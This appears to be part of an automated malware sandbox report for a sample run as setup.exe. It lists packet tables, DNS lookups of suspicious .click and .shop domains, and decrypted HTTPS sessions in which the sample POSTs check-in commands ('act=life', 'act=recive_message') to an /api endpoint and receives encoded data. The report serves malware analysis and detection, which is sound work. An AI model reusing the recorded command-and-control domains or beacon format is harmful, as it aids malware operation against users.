Dec 24, 2024 01:17:11.967525959 CET	443	49705	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:12.722353935 CET	443	49705	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:12.722417116 CET	443	49705	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:12.722506046 CET	49705	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:12.722533941 CET	443	49705	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:12.722820044 CET	443	49705	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:12.722851038 CET	443	49705	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:12.722891092 CET	443	49705	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:12.722898006 CET	49705	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:12.722906113 CET	443	49705	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:12.722950935 CET	49705	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:12.722956896 CET	443	49705	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:12.723002911 CET	49705	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:12.729094982 CET	443	49705	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:12.741317034 CET	443	49705	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:12.742738008 CET	49705	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:12.742747068 CET	443	49705	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:12.795049906 CET	49705	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:12.795058966 CET	443	49705	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:12.843719006 CET	443	49705	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:12.843839884 CET	443	49705	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:12.843895912 CET	49705	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:12.843939066 CET	49705	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:12.844104052 CET	49705	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:12.844121933 CET	443	49705	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:12.844136000 CET	49705	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:12.844141960 CET	443	49705	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:13.055030107 CET	49706	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:13.055088043 CET	443	49706	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:13.055171967 CET	49706	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:13.055460930 CET	49706	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:13.055475950 CET	443	49706	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:14.279700994 CET	443	49706	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:14.279865026 CET	49706	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:14.281151056 CET	49706	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:14.281179905 CET	443	49706	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:14.281516075 CET	443	49706	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:14.282710075 CET	49706	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:14.282839060 CET	49706	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:14.282886028 CET	443	49706	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:15.201440096 CET	443	49706	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:15.201554060 CET	443	49706	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:15.201636076 CET	49706	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:15.201819897 CET	49706	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:15.201867104 CET	443	49706	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:15.321479082 CET	49707	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:15.321537971 CET	443	49707	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:15.321641922 CET	49707	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:15.321990967 CET	49707	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:15.322005987 CET	443	49707	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:16.543870926 CET	443	49707	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:16.543989897 CET	49707	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:16.548449039 CET	49707	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:16.548460007 CET	443	49707	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:16.548830986 CET	443	49707	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:16.549978971 CET	49707	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:16.550111055 CET	49707	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:16.550148964 CET	443	49707	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:16.550200939 CET	49707	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:16.595338106 CET	443	49707	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:17.338299036 CET	443	49707	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:17.338553905 CET	443	49707	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:17.338630915 CET	49707	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:17.338741064 CET	49707	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:17.338767052 CET	443	49707	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:17.529880047 CET	49709	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:17.529938936 CET	443	49709	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:17.530024052 CET	49709	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:17.530339003 CET	49709	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:17.530358076 CET	443	49709	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:18.747215986 CET	443	49709	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:18.747288942 CET	49709	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:18.749161005 CET	49709	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:18.749171019 CET	443	49709	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:18.749530077 CET	443	49709	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:18.751295090 CET	49709	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:18.751446009 CET	49709	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:18.751478910 CET	443	49709	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:18.751557112 CET	49709	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:18.751564980 CET	443	49709	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:19.699374914 CET	443	49709	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:19.699495077 CET	443	49709	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:19.699556112 CET	49709	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:19.699656963 CET	49709	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:19.699676037 CET	443	49709	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:20.048425913 CET	49713	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:20.048489094 CET	443	49713	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:20.048561096 CET	49713	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:20.048904896 CET	49713	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:20.048923016 CET	443	49713	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:21.280328035 CET	443	49713	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:21.280417919 CET	49713	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:21.282572031 CET	49713	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:21.282586098 CET	443	49713	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:21.282926083 CET	443	49713	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:21.292471886 CET	49713	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:21.292471886 CET	49713	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:21.292548895 CET	443	49713	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:22.030915976 CET	443	49713	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:22.031037092 CET	443	49713	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:22.031192064 CET	49713	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:22.031301975 CET	49713	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:22.031363010 CET	443	49713	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:22.189884901 CET	49720	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:22.189920902 CET	443	49720	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:22.190005064 CET	49720	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:22.190696001 CET	49720	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:22.190711975 CET	443	49720	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:23.433140993 CET	443	49720	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:23.433300972 CET	49720	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:23.478063107 CET	49720	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:23.478092909 CET	443	49720	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:23.479020119 CET	443	49720	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:23.480262041 CET	49720	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:23.480374098 CET	49720	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:23.480380058 CET	443	49720	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:24.266041994 CET	443	49720	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:24.266140938 CET	443	49720	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:24.266196012 CET	49720	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:24.266343117 CET	49720	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:24.266355038 CET	443	49720	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:24.268439054 CET	49727	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:24.268543959 CET	443	49727	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:24.268624067 CET	49727	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:24.268898010 CET	49727	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:24.268934965 CET	443	49727	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:25.480767012 CET	443	49727	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:25.480875969 CET	49727	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:25.482057095 CET	49727	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:25.482079029 CET	443	49727	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:25.482327938 CET	443	49727	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:25.495884895 CET	49727	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:25.495884895 CET	49727	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:25.496094942 CET	443	49727	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:26.569281101 CET	443	49727	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:26.569372892 CET	443	49727	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:26.569422007 CET	49727	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:26.569572926 CET	49727	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:26.569601059 CET	443	49727	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:26.569617033 CET	49727	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:26.569623947 CET	443	49727	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:26.732956886 CET	49733	443	192.168.2.5	104.21.27.229
Dec 24, 2024 01:17:26.732990980 CET	443	49733	104.21.27.229	192.168.2.5
Dec 24, 2024 01:17:26.733177900 CET	49733	443	192.168.2.5	104.21.27.229
Dec 24, 2024 01:17:26.733444929 CET	49733	443	192.168.2.5	104.21.27.229
Dec 24, 2024 01:17:26.733459949 CET	443	49733	104.21.27.229	192.168.2.5
Dec 24, 2024 01:17:27.957835913 CET	443	49733	104.21.27.229	192.168.2.5
Dec 24, 2024 01:17:27.957914114 CET	49733	443	192.168.2.5	104.21.27.229
Dec 24, 2024 01:17:27.961535931 CET	49733	443	192.168.2.5	104.21.27.229
Dec 24, 2024 01:17:27.961549997 CET	443	49733	104.21.27.229	192.168.2.5
Dec 24, 2024 01:17:27.961842060 CET	443	49733	104.21.27.229	192.168.2.5
Dec 24, 2024 01:17:27.962922096 CET	49733	443	192.168.2.5	104.21.27.229
Dec 24, 2024 01:17:28.007329941 CET	443	49733	104.21.27.229	192.168.2.5
Dec 24, 2024 01:17:31.329152107 CET	443	49733	104.21.27.229	192.168.2.5
Dec 24, 2024 01:17:31.329217911 CET	443	49733	104.21.27.229	192.168.2.5
Dec 24, 2024 01:17:31.329271078 CET	49733	443	192.168.2.5	104.21.27.229
Dec 24, 2024 01:17:31.329545021 CET	49733	443	192.168.2.5	104.21.27.229
Dec 24, 2024 01:17:31.329561949 CET	443	49733	104.21.27.229	192.168.2.5
Dec 24, 2024 01:17:31.329581022 CET	49733	443	192.168.2.5	104.21.27.229
Dec 24, 2024 01:17:31.329587936 CET	443	49733	104.21.27.229	192.168.2.5
Dec 24, 2024 01:17:31.524199963 CET	49744	443	192.168.2.5	172.67.191.144
Dec 24, 2024 01:17:31.524305105 CET	443	49744	172.67.191.144	192.168.2.5
Dec 24, 2024 01:17:31.524384975 CET	49744	443	192.168.2.5	172.67.191.144
Dec 24, 2024 01:17:31.524931908 CET	49744	443	192.168.2.5	172.67.191.144
Dec 24, 2024 01:17:31.524967909 CET	443	49744	172.67.191.144	192.168.2.5
Dec 24, 2024 01:17:32.751117945 CET	443	49744	172.67.191.144	192.168.2.5
Dec 24, 2024 01:17:32.751193047 CET	49744	443	192.168.2.5	172.67.191.144
Dec 24, 2024 01:17:32.752901077 CET	49744	443	192.168.2.5	172.67.191.144
Dec 24, 2024 01:17:32.752928019 CET	443	49744	172.67.191.144	192.168.2.5
Dec 24, 2024 01:17:32.753257990 CET	443	49744	172.67.191.144	192.168.2.5
Dec 24, 2024 01:17:32.754710913 CET	49744	443	192.168.2.5	172.67.191.144
Dec 24, 2024 01:17:32.799333096 CET	443	49744	172.67.191.144	192.168.2.5
Dec 24, 2024 01:17:33.190177917 CET	443	49744	172.67.191.144	192.168.2.5
Dec 24, 2024 01:17:33.190318108 CET	443	49744	172.67.191.144	192.168.2.5
Dec 24, 2024 01:17:33.190373898 CET	49744	443	192.168.2.5	172.67.191.144
Dec 24, 2024 01:17:33.190402985 CET	443	49744	172.67.191.144	192.168.2.5
Dec 24, 2024 01:17:33.190474987 CET	443	49744	172.67.191.144	192.168.2.5
Dec 24, 2024 01:17:33.190535069 CET	49744	443	192.168.2.5	172.67.191.144
Dec 24, 2024 01:17:33.190545082 CET	443	49744	172.67.191.144	192.168.2.5
Dec 24, 2024 01:17:33.191941023 CET	443	49744	172.67.191.144	192.168.2.5
Dec 24, 2024 01:17:33.192013979 CET	49744	443	192.168.2.5	172.67.191.144
Dec 24, 2024 01:17:33.192080975 CET	49744	443	192.168.2.5	172.67.191.144
Dec 24, 2024 01:17:33.192099094 CET	443	49744	172.67.191.144	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 01:17:08.308280945 CET	62203	53	192.168.2.5	1.1.1.1
Dec 24, 2024 01:17:08.636480093 CET	53	62203	1.1.1.1	192.168.2.5
Dec 24, 2024 01:17:26.593502998 CET	54799	53	192.168.2.5	1.1.1.1
Dec 24, 2024 01:17:26.731609106 CET	53	54799	1.1.1.1	192.168.2.5
Dec 24, 2024 01:17:31.376857996 CET	52076	53	192.168.2.5	1.1.1.1
Dec 24, 2024 01:17:31.516535044 CET	53	52076	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 01:17:08.308280945 CET	192.168.2.5	1.1.1.1	0x8535	Standard query (0)	sickyicyerh.click	A (IP address)	IN (0x0001)	false
Dec 24, 2024 01:17:26.593502998 CET	192.168.2.5	1.1.1.1	0x1af5	Standard query (0)	neqi.shop	A (IP address)	IN (0x0001)	false
Dec 24, 2024 01:17:31.376857996 CET	192.168.2.5	1.1.1.1	0x799b	Standard query (0)	kliptizq.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 01:17:08.636480093 CET	1.1.1.1	192.168.2.5	0x8535	No error (0)	sickyicyerh.click	104.21.82.188	A (IP address)	IN (0x0001)	false
Dec 24, 2024 01:17:08.636480093 CET	1.1.1.1	192.168.2.5	0x8535	No error (0)	sickyicyerh.click	172.67.162.59	A (IP address)	IN (0x0001)	false
Dec 24, 2024 01:17:26.731609106 CET	1.1.1.1	192.168.2.5	0x1af5	No error (0)	neqi.shop	104.21.27.229	A (IP address)	IN (0x0001)	false
Dec 24, 2024 01:17:26.731609106 CET	1.1.1.1	192.168.2.5	0x1af5	No error (0)	neqi.shop	172.67.169.205	A (IP address)	IN (0x0001)	false
Dec 24, 2024 01:17:31.516535044 CET	1.1.1.1	192.168.2.5	0x799b	No error (0)	kliptizq.shop	172.67.191.144	A (IP address)	IN (0x0001)	false
Dec 24, 2024 01:17:31.516535044 CET	1.1.1.1	192.168.2.5	0x799b	No error (0)	kliptizq.shop	104.21.84.113	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

sickyicyerh.click

neqi.shop

kliptizq.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.82.188	443	3448	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 00:17:10 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sickyicyerh.click
2024-12-24 00:17:10 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-24 00:17:10 UTC	1129	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 00:17:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ed2mlljajhnokkftusbvdcv08e; expires=Fri, 18 Apr 2025 18:03:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vomQe3qEplp9fsLc3NkbgnqFu2g7VfzLLFViOFG479KBquvaRJXH2Csfoi3zxP%2BzzSLC0hdigiK2KBisQegmnaD0tfmbwpHOvFZug1yZMu79gabAu%2BdLn3XN3FuTzyM3WDzdNA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c6826fb664400-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=12775&min_rtt=1785&rtt_var=7341&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=908&delivery_rate=1635854&cwnd=155&unsent_bytes=0&cid=012bb8d919392936&ts=765&x=0"
2024-12-24 00:17:10 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-24 00:17:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	104.21.82.188	443	3448	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 00:17:11 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 78 Host: sickyicyerh.click
2024-12-24 00:17:11 UTC	78	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 53 42 45 52 26 6a 3d 65 66 64 65 62 64 65 30 35 37 61 31 64 66 33 66 37 63 31 35 62 37 66 34 64 61 39 30 37 63 32 64 Data Ascii: act=recive_message&ver=4.0&lid=hRjzG3--SBER&j=efdebde057a1df3f7c15b7f4da907c2d
2024-12-24 00:17:12 UTC	1130	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 00:17:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n5nseqpjs5g9vf9krobk1hb35v; expires=Fri, 18 Apr 2025 18:03:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lFCz8CcQVg%2F0c8andCUu0zTvYEgmYtZkY7D5OFfgJueocueo09OyiPVVh%2BzJKIjCbSCk6eoP1aOybEOfjTWlc9oIbEmt4pFh45FxP0m32%2Fe5%2BPs3L7XT0u9D4SI6NnHpQV3dug%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c68337d0041ba-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1603&min_rtt=1603&rtt_var=801&sent=7&recv=8&lost=0&retrans=1&sent_bytes=4226&recv_bytes=979&delivery_rate=215545&cwnd=192&unsent_bytes=0&cid=8f20c0fc39e1ede2&ts=776&x=0"
2024-12-24 00:17:12 UTC	239	IN	Data Raw: 63 35 38 0d 0a 30 2f 7a 42 6d 34 6f 2f 72 4d 62 49 4e 37 59 35 63 4f 44 35 76 73 61 46 6f 53 73 5a 75 61 73 72 77 4f 4c 57 36 35 67 66 44 7a 69 6f 33 72 65 35 73 41 75 41 35 4c 74 53 6c 41 4d 57 67 5a 58 4e 6f 36 6d 44 53 6e 32 62 6b 55 32 68 6a 71 57 4f 74 44 31 35 56 66 48 47 70 2f 72 6d 54 4d 6e 71 36 6c 4c 4f 47 30 71 37 67 70 79 6a 36 34 4d 52 4f 39 7a 42 53 61 47 4f 74 49 72 7a 63 48 39 55 73 4a 53 74 2f 4f 4a 61 7a 36 4b 70 57 39 74 63 46 59 57 59 31 4b 6a 73 7a 45 4e 30 6d 34 63 4a 70 5a 6a 30 30 62 70 53 61 6b 79 79 73 61 44 6f 34 52 33 52 36 72 4d 56 30 31 64 53 32 74 76 66 6f 2b 66 4e 54 58 33 53 77 30 4f 6f 68 72 57 50 38 6d 39 6d 58 72 75 55 6f 2f 2f 6a 55 4d 61 32 70 46 48 63 56 78 4f 50 6d 4a Data Ascii: c580/zBm4o/rMbIN7Y5cOD5vsaFoSsZuasrwOLW65gfDzio3re5sAuA5LtSlAMWgZXNo6mDSn2bkU2hjqWOtD15VfHGp/rmTMnq6lLOG0q7gpyj64MRO9zBSaGOtIrzcH9UsJSt/OJaz6KpW9tcFYWY1KjszEN0m4cJpZj00bpSakyysaDo4R3R6rMV01dS2tvfo+fNTX3Sw0OohrWP8m9mXruUo//jUMa2pFHcVxOPmJ
2024-12-24 00:17:12 UTC	1369	IN	Data Raw: 7a 71 70 38 52 52 4f 34 4f 4a 47 70 43 44 70 5a 6a 76 63 48 31 63 38 59 48 74 34 4b 68 61 77 75 54 79 46 64 78 58 48 49 65 59 30 36 50 6d 77 31 74 30 32 38 70 42 71 6f 53 2b 68 76 56 79 59 31 43 32 6c 71 72 2b 35 31 72 47 6f 71 56 57 6c 42 56 53 68 59 4f 63 2f 4b 66 6a 57 58 6a 59 33 55 53 7a 77 4b 76 48 34 7a 31 71 56 76 48 47 34 2f 2f 6d 58 4d 4f 6b 75 46 33 66 55 42 65 51 6b 4e 57 70 36 73 4e 45 63 64 54 4b 53 61 57 4b 76 6f 62 77 65 57 42 58 74 35 36 6a 75 61 59 64 79 62 7a 71 44 5a 52 34 46 35 4b 63 30 4c 4b 6c 2b 51 6c 6b 6c 64 41 4a 70 59 7a 30 30 62 70 31 61 46 6d 79 6c 61 7a 36 34 46 62 63 70 4c 68 54 32 56 34 41 68 4a 37 53 72 75 54 52 51 33 58 64 79 6b 43 70 69 62 47 4f 2f 6a 30 6a 47 72 61 47 34 36 47 6f 66 4d 4f 76 70 6c 2f 44 57 31 4b 64 31 Data Ascii: zqp8RRO4OJGpCDpZjvcH1c8YHt4KhawuTyFdxXHIeY06Pmw1t028pBqoS+hvVyY1C2lqr+51rGoqVWlBVShYOc/KfjWXjY3USzwKvH4z1qVvHG4//mXMOkuF3fUBeQkNWp6sNEcdTKSaWKvobweWBXt56juaYdybzqDZR4F5Kc0LKl+QlkldAJpYz00bp1aFmylaz64FbcpLhT2V4AhJ7SruTRQ3XdykCpibGO/j0jGraG46GofMOvpl/DW1Kd1
2024-12-24 00:17:12 UTC	1369	IN	Data Raw: 52 52 58 48 64 78 6b 53 75 77 50 72 4a 2f 57 55 74 41 76 47 30 6f 4f 33 72 56 34 79 52 71 56 76 61 58 41 54 43 68 4a 4b 39 70 38 52 46 4f 34 4f 4a 52 4b 4f 49 73 70 76 31 63 47 35 55 76 35 47 6d 39 75 42 64 7a 71 6d 76 55 64 39 51 45 59 2b 66 7a 71 37 6e 79 30 78 36 30 63 4d 4a 37 4d 43 7a 6b 62 6f 6c 4c 57 75 6d 6c 65 48 4d 36 31 50 41 6f 37 77 56 79 78 55 4c 77 70 7a 51 35 4c 2b 44 52 48 50 65 7a 45 61 6a 69 72 71 4d 38 48 46 6c 56 4c 4b 4d 72 50 33 6f 55 63 61 75 70 31 76 51 55 78 75 4a 6b 4e 71 6b 35 73 6b 4a 4e 5a 76 4f 55 65 4c 59 39 4c 33 39 63 57 42 56 38 36 75 67 39 2b 5a 61 32 4f 53 31 47 38 30 62 46 59 37 62 68 4f 54 72 79 6b 6c 77 30 63 31 4a 70 59 32 78 69 76 31 2b 59 46 32 37 6b 4b 54 39 35 46 54 44 6f 71 70 53 30 46 34 41 68 35 4c 51 71 4b Data Ascii: RRXHdxkSuwPrJ/WUtAvG0oO3rV4yRqVvaXATChJK9p8RFO4OJRKOIspv1cG5Uv5Gm9uBdzqmvUd9QEY+fzq7ny0x60cMJ7MCzkbolLWumleHM61PAo7wVyxULwpzQ5L+DRHPezEajirqM8HFlVLKMrP3oUcaup1vQUxuJkNqk5skJNZvOUeLY9L39cWBV86ug9+Za2OS1G80bFY7bhOTryklw0c1JpY2xiv1+YF27kKT95FTDoqpS0F4Ah5LQqK
2024-12-24 00:17:12 UTC	190	IN	Data Raw: 6d 39 59 48 75 38 43 7a 68 62 6f 6c 4c 56 4f 34 6a 4b 33 33 34 56 44 49 72 4b 31 62 32 56 41 55 69 5a 7a 62 6f 75 72 4c 52 48 37 59 79 45 32 6f 6b 72 65 43 38 48 42 6e 47 76 2f 65 70 4f 47 6f 42 59 36 44 70 6e 7a 45 51 41 43 55 32 38 50 71 2f 6f 4e 4f 64 35 75 52 43 61 47 50 76 59 62 79 64 57 4a 56 74 5a 43 6c 2f 2b 56 59 77 61 36 34 58 64 70 57 47 59 32 51 7a 71 54 71 78 30 56 2f 30 38 4a 44 34 73 37 30 6a 75 49 39 4e 52 71 45 6b 36 7a 35 36 30 75 4f 75 2b 52 4d 6c 46 77 65 77 73 4f 63 71 4f 6e 44 52 6e 66 58 77 6b 47 6a 6a 4c 71 4f 2f 33 52 6c 55 71 4f 66 0d 0a Data Ascii: m9YHu8CzhbolLVO4jK334VDIrK1b2VAUiZzbourLRH7YyE2okreC8HBnGv/epOGoBY6DpnzEQACU28Pq/oNOd5uRCaGPvYbydWJVtZCl/+VYwa64XdpWGY2QzqTqx0V/08JD4s70juI9NRqEk6z560uOu+RMlFwewsOcqOnDRnfXwkGjjLqO/3RlUqOf
